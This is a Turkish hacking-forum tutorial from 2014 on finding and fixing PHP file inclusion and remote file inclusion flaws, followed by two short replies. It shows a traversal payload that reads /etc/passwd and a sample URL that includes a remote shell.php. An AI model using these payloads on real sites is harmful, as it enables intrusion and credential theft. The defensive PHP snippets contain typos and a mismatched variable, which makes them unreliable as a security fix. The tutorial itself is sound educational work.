THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

PHP-RFI ve FI Saldırılarından Korunma

Oğuz~#> - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2009
Nereden:
Bursa
Yaş:
23
Mesajlar:
4.772
Konular:
1485
Teşekkür (Etti):
1877
Teşekkür (Aldı):
2499
Ticaret:
(0) %
09-06-2014 20:03
#1
PHP-RFI ve FI Saldırılarından Korunma
S.A. arkadaşlarbu dökümanımda php portal,scriptlerinde bulunan file inclusion(FI) ve Remote File İnclusion(RFI) açıklarını kapatmayı anlatacağım..php coderlar için yararlı olacağını düşünüyorum..Öncelikle açığın Kullanımını anlatacağım,ardından Nasıl kapatılacağı.

php sitelerde sürekli rastladığımız bir kullanımıdır;

örneğin; haber.php?id=1 şimdi buraya kadar bir sorun yok

kullanıcı bu adrese girdiğinde haber.php deki id 1 li haber sayfada görünecektir..

ama kullanıcı id= tanımlanmamış veya olmayan bir değer girdiğinde sistem hata verecektir.hata vermesi ne işine yarar diyebilirsiniz ancak ufak hatalarla sistemlere sızıldığıda bu açık için bir gerçektir..örneğin hatamızı şunla alalım

haber.php?id=-1

şimdi haber.php den -1 id li haberi istedik -1 id li haber olmayacağına göre portal hata verecek ve asıl işlem şimdi başlayacaktır.verilen hata

Warning: main(-1) [<function.main>]: failed to open stream: No such file or directory in /www/kurt/baba/kurtbaba/index.php on line 124

Fatal error: main() [<function.require>]: Failed opening required ‘-1′ (include_path=’.:’) in /www/kurt/baba/kurtbaba/index.php on line 124

Şimdi hatamız da normal kullanıcı için bir sorun yok öyle yada böyle gerçek id yi girip sayafa girecektir.ancak sayfaya giren kişi hata almak için girdiğini düşünün (IMG:style_emoticons/default/smile.gif) o zaman bu hata çok tehlikeli olabilir..yukarıdaki hatada index.php den önce 4 klasör var

www/kurt/baba/kurtbaba

demekki 4 dizin atlarsak serverın anadizinine geliriz demektir..peki bunu nasıl yapacağız ?

bunuda taksim kullanarak yapacağız..

../../../../ 4 klasör olduğu için 4 tane taksim attık ‘ .. ‘ geç anlamında uzaktaki dosya anlamında taksimlerden sonra kullandık..

4 dizin atladıktan sonra genelde serverlarda şifrelerin tutulduğu yer etc/passwd klasörüdür bunuda aynı şekilde

../../../../etc/passwd dersek serverdaki sitelerin tümünün db adları ftp passları karışımıza gelir..

Açığın ne kadar tehlikeli olduğunu gördük,

Şimdide açığı nasıl kapayabileceğimizi öğrenelim..

bu yöntemden korunmak için php coderlar şu 4 koda dikkat etmeli ve her gördükleri yeri $define ederek güvenliği sağlamalılardır.kodlarımız(rfı ararken kullandığımız kodlar)

include(), include_once(), require() ve require_once()Şimdi açığın php de engellenmesi için birkaç yol var ilk anlattığım yolla REMOTE FİLE İNCLUDE açıklarını kapatmak için kullanabilirsiniz…bu yolla sistem sadece kendi ftp dizinimizde olan dosya çağırma zorunluluğu koyacağız..bu sayede kullanıcı başka siteden veya serverdan bilgi çekemeyeck..

remote file includeden kısaca bahsedeyim;FI,RFI nin gelişmiş hali denilebilir FI de serverdan bilgi isteriz RFI de uzaktan çağırdığımız kodlarla server daki dosyalar,diğer sitelere erişiriz örnek kullanım http://site.com/haber.php?id=http://....com/shell.php bu şekilde uzaktan çağırdığımız .php fso lar sayesinden serverda root olmaya kadar gidebilirsiniz..‘<?php’

Alıntı:
‘error_reporting(0);’

‘define(’PATH’,'www/kurt/baba/kurtbaba’);’

‘İF(!include_once(PATH.’/’.$_GET[’haber’].’.php’))’

‘exit(’Sayfa bulunamadı!’);’
‘?>’
Şimdide FİLE İNCLUSİON a neden olan kodları tanımlayıp,açığı engelleyelim..

Alıntı:
‘<?php’
‘error_reporing(0);’

‘define(’PATH’, ‘/www/kurt/baba/kurtbaba”);’

‘$pages = array (’haber’, ‘home’, ‘);’

‘İF(in_array($_GET[’haber’], $haber))’

‘if(!include_once(PATH.’/’.$_GET[’haber’].’.php’))’

‘exit(’Sayfa bulunamadı!’);’

‘else

‘exit(’Böyle Bir Sayfa Hiç Olmadı !’);’
Şimdi ben size 2 yolu anlattım php de güvenliği sağlamak elbette bu kadar kolay değil ancak php de kodlamaya yeni başlayanlar bu kadarını bilmeleri yeterli.ayrıca ingilizcesi olanlar ingilizce yüzlerce dökümana ulaşabilirler.. çok ileri düzey anlatımlar var ingilizce..

Google ; ; ; ;****=neyse benden bu kadar dökümanda geçen her kelime tarafımca yazılmıştır..
gurgunla - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2007
Mesajlar:
20
Konular:
1
Teşekkür (Etti):
1
Teşekkür (Aldı):
2
Ticaret:
(0) %
10-06-2014 00:19
#2
teşekküler.
Oğuz~#> - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
07/2009
Nereden:
Bursa
Yaş:
23
Mesajlar:
4.772
Konular:
1485
Teşekkür (Etti):
1877
Teşekkür (Aldı):
2499
Ticaret:
(0) %
10-06-2014 00:21
#3
Teşekkür buttonuna basarak duygularını daha iyi bir şekilde ifade edebilirsin dostum anlamadıığın bişey olursa yaz lütfen

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler